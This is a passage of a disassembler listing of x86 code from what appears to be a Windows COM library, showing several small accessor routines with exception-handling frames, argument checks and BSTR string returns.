		jz	short loc_69B41F82
		push	edi
		push	dword ptr [ebp-1Ch]
		call	sub_69B3FBF7
		jmp	short loc_69B41F84
; ---------------------------------------------------------------------------


loc_69B41F82:				; CODE XREF: sub_69B41E9C+D9j
		xor	eax, eax


loc_69B41F84:				; CODE XREF: sub_69B41E9C+E4j
		mov	[ebp-34h], eax
		mov	al, [eax+4]
		mov	[ebp-49h], al
		test	al, al
		jnz	short loc_69B41FA4
		mov	dword ptr [ebp-38h], 80004005h
		push	0C00CE212h
		call	sub_69B2D34C
		jmp	short loc_69B41FE8
; ---------------------------------------------------------------------------


loc_69B41FA4:				; CODE XREF: sub_69B41E9C+AFj
					; sub_69B41E9C+C9j ...
		push	0
		push	dword ptr [ebp-40h]
		push	dword ptr [ebp-3Ch]
		mov	ecx, esi
		call	sub_69B3D556
		mov	eax, [ebp+14h]
		test	eax, eax
		jz	short loc_69B41FE8
		mov	ecx, [ebp+10h]
		mov	[eax], ecx
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+4]
		jmp	short loc_69B41FE8
; ---------------------------------------------------------------------------


loc_69B41FC7:				; DATA XREF: .text:69B42024o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B41FD0:				; DATA XREF: .text:69B42028o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-38h], eax


loc_69B41FE8:				; CODE XREF: sub_69B41E9C+106j
					; sub_69B41E9C+11Cj ...
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B41FEC:				; CODE XREF: sub_69B41E9C+62j
		cmp	dword ptr [ebp-34h], 0
		jz	short loc_69B42002
		mov	ecx, [ebp-34h]
		call	sub_69B4637D
		push	dword ptr [ebp-34h]
		call	sub_69B1B2B7


loc_69B42002:				; CODE XREF: sub_69B41E9C+154j
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-38h]


loc_69B42016:				; CODE XREF: sub_69B41E9C+43j
		call	sub_69B1853C
		retn	10h
sub_69B41E9C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B42020	dd 0FFFFFFFFh			dd offset loc_69B41FC7
		dd offset loc_69B41FD0

; =============== S U B	R O U T	I N E =======================================



sub_69B4202C	proc near		; DATA XREF: .text:69B12558o
		push	2Ch
		push	offset dword_69B42130
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B4204F
		mov	eax, 80004005h
		jmp	loc_69B42125
; ---------------------------------------------------------------------------


loc_69B4204F:				; CODE XREF: sub_69B4202C+17j
		mov	ebx, [ebp+8]
		push	ebx
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		and	dword ptr [ebp-30h], 0
		cmp	dword ptr [ebp+10h], 0
		jnz	short loc_69B42072
		mov	dword ptr [ebp-30h], 80070057h
		jmp	loc_69B42111
; ---------------------------------------------------------------------------


loc_69B42072:				; CODE XREF: sub_69B4202C+38j
		mov	esi, [ebx+1Ch]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		mov	edi, eax
		mov	ecx, edi
		call	sub_69B3D200
		mov	[ebp-34h], eax
		lea	ecx, [ebx+0Ch]
		call	sub_69B87FDC
		cmp	eax, 1
		jnz	short loc_69B420A0
		mov	ecx, [ebp-34h]
		call	sub_69B2E22D


loc_69B420A0:				; CODE XREF: sub_69B4202C+6Aj
		xor	ecx, ecx
		mov	[ebp-4], ecx
		mov	eax, [edi+50h]
		mov	[ebp-38h], eax
		push	ecx
		push	eax
		push	edi
		push	ecx
		cmp	word ptr [ebp+0Ch], 0FFFFh
		setz	al
		push	eax
		mov	ecx, esi
		call	sub_69B3D586
		mov	[ebp-3Ch], eax
		mov	ecx, eax
		call	sub_69B48B01
		mov	ecx, [ebp+10h]
		mov	[ecx], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B420FC
; ---------------------------------------------------------------------------


loc_69B420D4:				; DATA XREF: .text:69B42134o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B420DD:				; DATA XREF: .text:69B42138o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ebx, [ebp+8]


loc_69B420FC:				; CODE XREF: sub_69B4202C+A6j
		lea	ecx, [ebx+0Ch]
		call	sub_69B87FDC
		cmp	eax, 1
		jnz	short loc_69B42111
		mov	ecx, [ebp-34h]
		call	sub_69B2E238


loc_69B42111:				; CODE XREF: sub_69B4202C+41j
					; sub_69B4202C+DBj
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B42125:				; CODE XREF: sub_69B4202C+1Ej
		call	sub_69B1853C
		retn	0Ch
sub_69B4202C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B42130	dd 0FFFFFFFFh			dd offset loc_69B420D4
		dd offset loc_69B420DD

; =============== S U B	R O U T	I N E =======================================



sub_69B4213C	proc near		; CODE XREF: sub_69B594A3+Cp
					; DATA XREF: .text:69B12554o
		push	28h
		push	offset dword_69B421F0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B42161
		mov	eax, 80004005h
		jmp	loc_69B421E8
; ---------------------------------------------------------------------------


loc_69B42161:				; CODE XREF: sub_69B4213C+19j
		mov	edi, [ebp+8]
		push	edi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	esi, [ebp+0Ch]
		cmp	esi, ebx
		jnz	short loc_69B4217E
		mov	dword ptr [ebp-30h], 80070057h
		jmp	short loc_69B421D4
; ---------------------------------------------------------------------------


loc_69B4217E:				; CODE XREF: sub_69B4213C+37j
		mov	[ebp-4], ebx
		mov	ecx, [edi+1Ch]
		mov	[ebp-34h], ecx
		mov	[ebp-38h], ecx
		mov	al, [ecx+0Bh]
		and	al, 1Fh
		cmp	al, 3
		jnz	short loc_69B4219A
		mov	[ebp-30h], ebx
		mov	[esi], ebx
		jmp	short loc_69B421D0
; ---------------------------------------------------------------------------


loc_69B4219A:				; CODE XREF: sub_69B4213C+55j
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		mov	ecx, [eax]
		push	esi
		push	offset stru_69B25E34
		push	eax
		call	dword ptr [ecx]
		jmp	short loc_69B421CD
; ---------------------------------------------------------------------------


loc_69B421AF:				; DATA XREF: .text:69B421F4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B421B8:				; DATA XREF: .text:69B421F8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B421CD:				; CODE XREF: sub_69B4213C+71j
		mov	[ebp-30h], eax


loc_69B421D0:				; CODE XREF: sub_69B4213C+5Cj
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B421D4:				; CODE XREF: sub_69B4213C+40j
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B421E8:				; CODE XREF: sub_69B4213C+20j
		call	sub_69B1853C
		retn	8
sub_69B4213C	endp

; ---------------------------------------------------------------------------
dword_69B421F0	dd 0FFFFFFFFh			dd offset loc_69B421AF
		dd offset loc_69B421B8

; =============== S U B	R O U T	I N E =======================================



sub_69B421FC	proc near		; CODE XREF: sub_69B59507+Cp
					; DATA XREF: .text:69B1256Co
		push	2Ch
		push	offset dword_69B422A8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B4221E
		mov	eax, 80004005h
		jmp	short loc_69B4229B
; ---------------------------------------------------------------------------


loc_69B4221E:				; CODE XREF: sub_69B421FC+19j
		mov	esi, [ebp+8]
		push	esi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B42239
		mov	ebx, 80070057h
		jmp	short loc_69B42288
; ---------------------------------------------------------------------------


loc_69B42239:				; CODE XREF: sub_69B421FC+34j
		mov	[ebp-4], ebx
		mov	ecx, [esi+1Ch]
		mov	[ebp-30h], ecx
		mov	[ebp-34h], ecx
		call	sub_69B4CC55
		mov	ecx, eax
		mov	[ebp-38h], ecx
		cmp	ecx, ebx
		jz	short loc_69B4225C
		call	sub_69B48B01
		mov	[edi], eax
		jmp	short loc_69B42284
; ---------------------------------------------------------------------------


loc_69B4225C:				; CODE XREF: sub_69B421FC+55j
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-3Ch], ebx
		jmp	short loc_69B42284
; ---------------------------------------------------------------------------


loc_69B42264:				; DATA XREF: .text:69B422ACo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4226D:				; DATA XREF: .text:69B422B0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B42284:				; CODE XREF: sub_69B421FC+5Ej
					; sub_69B421FC+66j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B42288:				; CODE XREF: sub_69B421FC+3Bj
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B4229B:				; CODE XREF: sub_69B421FC+20j
		call	sub_69B1853C
		retn	8
sub_69B421FC	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B422A8	dd 0FFFFFFFFh			dd offset loc_69B42264
		dd offset loc_69B4226D

; =============== S U B	R O U T	I N E =======================================



sub_69B422B4	proc near		; CODE XREF: sub_69B594CB+Cp
					; DATA XREF: .text:69B12560o
		push	38h
		push	offset dword_69B423A0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B422D9
		mov	eax, 80004005h
		jmp	loc_69B42394
; ---------------------------------------------------------------------------


loc_69B422D9:				; CODE XREF: sub_69B422B4+19j
		mov	esi, [ebp+8]
		push	esi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	[ebp-30h], ebx
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B422FC
		mov	dword ptr [ebp-30h], 80070057h
		jmp	loc_69B42380
; ---------------------------------------------------------------------------


loc_69B422FC:				; CODE XREF: sub_69B422B4+3Aj
		mov	[ebp-4], ebx
		mov	esi, [esi+1Ch]
		mov	[ebp-34h], esi
		mov	[ebp-38h], esi
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		mov	[ebp-3Ch], eax
		mov	eax, [eax+0E8h]
		mov	[ebp-40h], eax
		mov	ecx, esi
		cmp	eax, ebx
		jz	short loc_69B42330
		push	1
		push	1
		push	ebx
		call	sub_69B4AAFC
		jmp	short loc_69B42335
; ---------------------------------------------------------------------------


loc_69B42330:				; CODE XREF: sub_69B422B4+6Ej
		call	sub_69B40333


loc_69B42335:				; CODE XREF: sub_69B422B4+7Aj
		mov	[ebp-44h], eax
		cmp	eax, ebx
		jz	short loc_69B42350
		mov	ecx, [eax+0Ch]
		mov	[ebp-48h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[edi], eax
		jmp	short loc_69B4237C
; ---------------------------------------------------------------------------


loc_69B42350:				; CODE XREF: sub_69B422B4+86j
		mov	[edi], ebx
		mov	dword ptr [ebp-30h], 1
		jmp	short loc_69B4237C
; ---------------------------------------------------------------------------


loc_69B4235B:				; DATA XREF: .text:69B423A4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B42364:				; DATA XREF: .text:69B423A8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-30h], eax


loc_69B4237C:				; CODE XREF: sub_69B422B4+9Aj
					; sub_69B422B4+A5j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B42380:				; CODE XREF: sub_69B422B4+43j
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B42394:				; CODE XREF: sub_69B422B4+20j
		call	sub_69B1853C
		retn	8
sub_69B422B4	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B423A0	dd 0FFFFFFFFh			dd offset loc_69B4235B
		dd offset loc_69B42364

; =============== S U B	R O U T	I N E =======================================



sub_69B423AC	proc near		; CODE XREF: sub_69B594DF+Cp
					; DATA XREF: .text:69B12564o
		push	2Ch
		push	offset dword_69B424A8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_69B423EA
		mov	esi, [ebp+8]
		push	esi
		push	edi
		lea	ecx, [ebp-30h]
		call	sub_69B40DFB
		cmp	[ebp-2Ch], bl
		jnz	short loc_69B423F4
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944


loc_69B423EA:				; CODE XREF: sub_69B423AC+1Bj
		mov	eax, 80004005h
		jmp	loc_69B424A0
; ---------------------------------------------------------------------------


loc_69B423F4:				; CODE XREF: sub_69B423AC+2Dj
		xor	edi, edi
		mov	[ebp-4], ebx
		mov	ecx, [esi+1Ch]
		mov	[ebp-34h], ecx
		mov	[ebp-38h], ecx
		xor	eax, eax
		mov	al, [ecx+0Bh]
		and	eax, 1Fh
		jl	short loc_69B4244E
		cmp	eax, 2
		jle	short loc_69B42425
		cmp	eax, 4
		jle	short loc_69B4244E
		cmp	eax, 7
		jle	short loc_69B42425
		cmp	eax, 0Bh
		jz	short loc_69B42425
		cmp	eax, 0Fh
		jnz	short loc_69B4244E


loc_69B42425:				; CODE XREF: sub_69B423AC+63j
					; sub_69B423AC+6Dj ...
		call	sub_69B48CEA
		cmp	[ebp+0Ch], ebx
		jnz	short loc_69B42433
		xor	eax, eax
		jmp	short loc_69B4243C
; ---------------------------------------------------------------------------


loc_69B42433:				; CODE XREF: sub_69B423AC+81j
		push	dword ptr [ebp+0Ch] ; lpString
		call	ds:lstrlenW	; lstrlenW


loc_69B4243C:				; CODE XREF: sub_69B423AC+85j
		mov	ecx, [esi+1Ch]
		mov	[ebp-3Ch], ecx
		push	ebx
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_69B4CD25
		jmp	short loc_69B42489
; ---------------------------------------------------------------------------


loc_69B4244E:				; CODE XREF: sub_69B423AC+5Ej
					; sub_69B423AC+68j ...
		push	ebx
		call	sub_69B481AF
		push	eax
		push	0C00CE208h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 10h
		jmp	short loc_69B42489
; ---------------------------------------------------------------------------


loc_69B42469:				; DATA XREF: .text:69B424ACo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B42472:				; DATA XREF: .text:69B424B0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B42489:				; CODE XREF: sub_69B423AC+A0j
					; sub_69B423AC+BBj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B424A0:				; CODE XREF: sub_69B423AC+43j
		call	sub_69B1853C
		retn	8
sub_69B423AC	endp

; ---------------------------------------------------------------------------
dword_69B424A8	dd 0FFFFFFFFh			dd offset loc_69B42469
		dd offset loc_69B42472

; =============== S U B	R O U T	I N E =======================================



sub_69B424B4	proc near		; CODE XREF: sub_69B595E8+Cp
					; DATA XREF: .text:69B12594o
		push	3Ch
		push	offset dword_69B42588
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B424D9
		mov	eax, 80004005h
		jmp	loc_69B4257C
; ---------------------------------------------------------------------------


loc_69B424D9:				; CODE XREF: sub_69B424B4+19j
		mov	esi, [ebp+8]
		push	esi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B424F4
		mov	ebx, 80070057h
		jmp	short loc_69B42569
; ---------------------------------------------------------------------------


loc_69B424F4:				; CODE XREF: sub_69B424B4+37j
		mov	[ebp-4], ebx
		mov	ecx, [esi+1Ch]
		mov	[ebp-30h], ecx
		mov	[ebp-34h], ecx
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		mov	[ebp-38h], eax
		cmp	eax, ebx
		jz	short loc_69B42514
		mov	eax, [eax+10h]
		mov	[ebp-3Ch], eax
		jmp	short loc_69B42516
; ---------------------------------------------------------------------------


loc_69B42514:				; CODE XREF: sub_69B424B4+56j
		xor	eax, eax


loc_69B42516:				; CODE XREF: sub_69B424B4+5Ej
		mov	ecx, eax
		mov	[ebp-40h], ecx
		cmp	ecx, ebx
		jz	short loc_69B4253B
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		mov	[ebp-44h], eax
		mov	ecx, [eax+0Ch]
		mov	[ebp-48h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[edi], eax
		jmp	short loc_69B42565
; ---------------------------------------------------------------------------


loc_69B4253B:				; CODE XREF: sub_69B424B4+69j
		mov	[edi], ebx
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-4Ch], ebx
		jmp	short loc_69B42565
; ---------------------------------------------------------------------------


loc_69B42545:				; DATA XREF: .text:69B4258Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4254E:				; DATA XREF: .text:69B42590o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B42565:				; CODE XREF: sub_69B424B4+85j
					; sub_69B424B4+8Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B42569:				; CODE XREF: sub_69B424B4+3Ej
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B4257C:				; CODE XREF: sub_69B424B4+20j
		call	sub_69B1853C
		retn	8
sub_69B424B4	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B42588	dd 0FFFFFFFFh			dd offset loc_69B42545
		dd offset loc_69B4254E

; =============== S U B	R O U T	I N E =======================================



sub_69B42594	proc near		; CODE XREF: sub_69B595FC+Cp
					; DATA XREF: .text:69B12598o
		push	3Ch
		push	offset dword_69B42668
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B425B9
		mov	eax, 80004005h
		jmp	loc_69B4265C
; ---------------------------------------------------------------------------


loc_69B425B9:				; CODE XREF: sub_69B42594+19j
		mov	esi, [ebp+8]
		push	esi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B425D4
		mov	ebx, 80070057h
		jmp	short loc_69B42649
; ---------------------------------------------------------------------------


loc_69B425D4:				; CODE XREF: sub_69B42594+37j
		mov	[ebp-4], ebx
		mov	ecx, [esi+1Ch]
		mov	[ebp-30h], ecx
		mov	[ebp-34h], ecx
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		mov	[ebp-38h], eax
		cmp	eax, ebx
		jz	short loc_69B425F4
		mov	eax, [eax+0Ch]
		mov	[ebp-3Ch], eax
		jmp	short loc_69B425F6
; ---------------------------------------------------------------------------


loc_69B425F4:				; CODE XREF: sub_69B42594+56j
		xor	eax, eax


loc_69B425F6:				; CODE XREF: sub_69B42594+5Ej
		mov	ecx, eax
		mov	[ebp-40h], ecx
		cmp	ecx, ebx
		jz	short loc_69B4261B
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		mov	[ebp-44h], eax
		mov	ecx, [eax+0Ch]
		mov	[ebp-48h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[edi], eax
		jmp	short loc_69B42645
; ---------------------------------------------------------------------------


loc_69B4261B:				; CODE XREF: sub_69B42594+69j
		mov	[edi], ebx
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-4Ch], ebx
		jmp	short loc_69B42645
; ---------------------------------------------------------------------------


loc_69B42625:				; DATA XREF: .text:69B4266Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4262E:				; DATA XREF: .text:69B42670o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B42645:				; CODE XREF: sub_69B42594+85j
					; sub_69B42594+8Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B42649:				; CODE XREF: sub_69B42594+3Ej
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B4265C:				; CODE XREF: sub_69B42594+20j
		call	sub_69B1853C
		retn	8
sub_69B42594	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B42668	dd 0FFFFFFFFh			dd offset loc_69B42625
		dd offset loc_69B4262E

; =============== S U B	R O U T	I N E =======================================



sub_69B42674	proc near		; CODE XREF: sub_69B43314+20p
					; sub_69B4354C+37p ...
		push	esi
		push	edi
		mov	esi, ecx
		xor	eax, eax
		push	eax
		lea	edi, [esi+0Ch]
		push	edi
		mov	[esi+8], eax
		mov	[esi], eax
		call	sub_69B17320
		push	edi
		lea	ecx, [esi+4]
		call	sub_69B4D414
		pop	edi
		pop	esi
		retn
sub_69B42674	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B42695	proc near		; CODE XREF: sub_69B59610+Cp
					; DATA XREF: .text:69B1259Co
		push	38h
		push	offset dword_69B42758
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B426BA
		mov	eax, 80004005h
		jmp	loc_69B42750
; ---------------------------------------------------------------------------


loc_69B426BA:				; CODE XREF: sub_69B42695+19j
		mov	edi, [ebp+8]
		push	edi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	esi, [ebp+0Ch]
		cmp	esi, ebx
		jnz	short loc_69B426D5
		mov	ebx, 80070057h
		jmp	short loc_69B4273D
; ---------------------------------------------------------------------------


loc_69B426D5:				; CODE XREF: sub_69B42695+37j
		mov	[ebp-4], ebx
		mov	ecx, [edi+1Ch]
		mov	[ebp-30h], ecx
		mov	[ebp-34h], ecx
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		mov	[ebp-38h], eax
		cmp	eax, ebx
		jz	short loc_69B4270F
		mov	ecx, [eax+14h]
		mov	[ebp-3Ch], ecx
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		mov	[ebp-40h], eax
		mov	ecx, [eax+0Ch]
		mov	[ebp-44h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[esi], eax
		jmp	short loc_69B42739
; ---------------------------------------------------------------------------


loc_69B4270F:				; CODE XREF: sub_69B42695+56j
		mov	[esi], ebx
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-48h], ebx
		jmp	short loc_69B42739
; ---------------------------------------------------------------------------


loc_69B42719:				; DATA XREF: .text:69B4275Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B42722:				; DATA XREF: .text:69B42760o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B42739:				; CODE XREF: sub_69B42695+78j
					; sub_69B42695+82j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B4273D:				; CODE XREF: sub_69B42695+3Ej
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B42750:				; CODE XREF: sub_69B42695+20j
		call	sub_69B1853C
		retn	8
sub_69B42695	endp

; ---------------------------------------------------------------------------
dword_69B42758	dd 0FFFFFFFFh			dd offset loc_69B42719
		dd offset loc_69B42722

; =============== S U B	R O U T	I N E =======================================



sub_69B42764	proc near		; CODE XREF: sub_69B43340+6p
					; sub_69B549EC+37p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17230
		add	esi, 4
		push	esi
		call	sub_69B17230
		pop	esi
		retn
sub_69B42764	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4277B	proc near		; CODE XREF: sub_69B5951B+Cp
					; DATA XREF: .text:69B12570o
		push	2Ch
		push	offset dword_69B42878
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B4279E
		mov	eax, 80004005h
		jmp	loc_69B4286F
; ---------------------------------------------------------------------------


loc_69B4279E:				; CODE XREF: sub_69B4277B+17j
		mov	edi, [ebp+8]
		push	edi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		and	dword ptr [ebp-30h], 0
		mov	ebx, [ebp+0Ch]
		test	ebx, ebx
		jnz	short loc_69B427C2
		mov	dword ptr [ebp-30h], 80070057h
		jmp	loc_69B4285B
; ---------------------------------------------------------------------------


loc_69B427C2:				; CODE XREF: sub_69B4277B+39j
		mov	word ptr [ebx],	1
		and	dword ptr [ebp-4], 0
		mov	esi, [edi+1Ch]
		mov	[ebp-34h], esi
		mov	[ebp-38h], esi
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B8h]
		mov	ecx, esi
		test	al, al
		jz	short loc_69B427F6
		call	sub_69B4B8FE
		mov	eax, [esi]
		push	ebx
		mov	ecx, esi
		call	dword ptr [eax+124h]
		jmp	short loc_69B42857
; ---------------------------------------------------------------------------


loc_69B427F6:				; CODE XREF: sub_69B4277B+67j
		mov	eax, [esi]
		call	dword ptr [eax+44h]
		test	eax, eax
		jz	short loc_69B42814
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		cmp	eax, 0Fh
		jz	short loc_69B42814
		mov	eax, [edi]
		push	ebx
		push	edi
		call	dword ptr [eax+20h]
		jmp	short loc_69B42854
; ---------------------------------------------------------------------------


loc_69B42814:				; CODE XREF: sub_69B4277B+82j
					; sub_69B4277B+8Ej
		and	dword ptr [ebp-3Ch], 0
		mov	eax, [edi]
		lea	ecx, [ebp-3Ch]
		push	ecx
		push	edi
		call	dword ptr [eax+68h]
		mov	[ebp-30h], eax
		test	eax, eax
		jnz	short loc_69B42857
		mov	word ptr [ebx],	8
		mov	eax, [ebp-3Ch]
		mov	[ebx+8], eax
		jmp	short loc_69B42857
; ---------------------------------------------------------------------------


loc_69B42836:				; DATA XREF: .text:69B4287Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4283F:				; DATA XREF: .text:69B42880o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B42854:				; CODE XREF: sub_69B4277B+97j
		mov	[ebp-30h], eax


loc_69B42857:				; CODE XREF: sub_69B4277B+79j
					; sub_69B4277B+ACj ...
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B4285B:				; CODE XREF: sub_69B4277B+42j
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B4286F:				; CODE XREF: sub_69B4277B+1Ej
		call	sub_69B1853C
		retn	8
sub_69B4277B	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B42878	dd 0FFFFFFFFh			dd offset loc_69B42836
		dd offset loc_69B4283F

; =============== S U B	R O U T	I N E =======================================



sub_69B42884	proc near		; CODE XREF: sub_69B5952F+17p
					; DATA XREF: .text:69B12574o
		push	34h
		push	offset dword_69B42970
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B428A9
		mov	eax, 80004005h
		jmp	loc_69B42961
; ---------------------------------------------------------------------------


loc_69B428A9:				; CODE XREF: sub_69B42884+19j
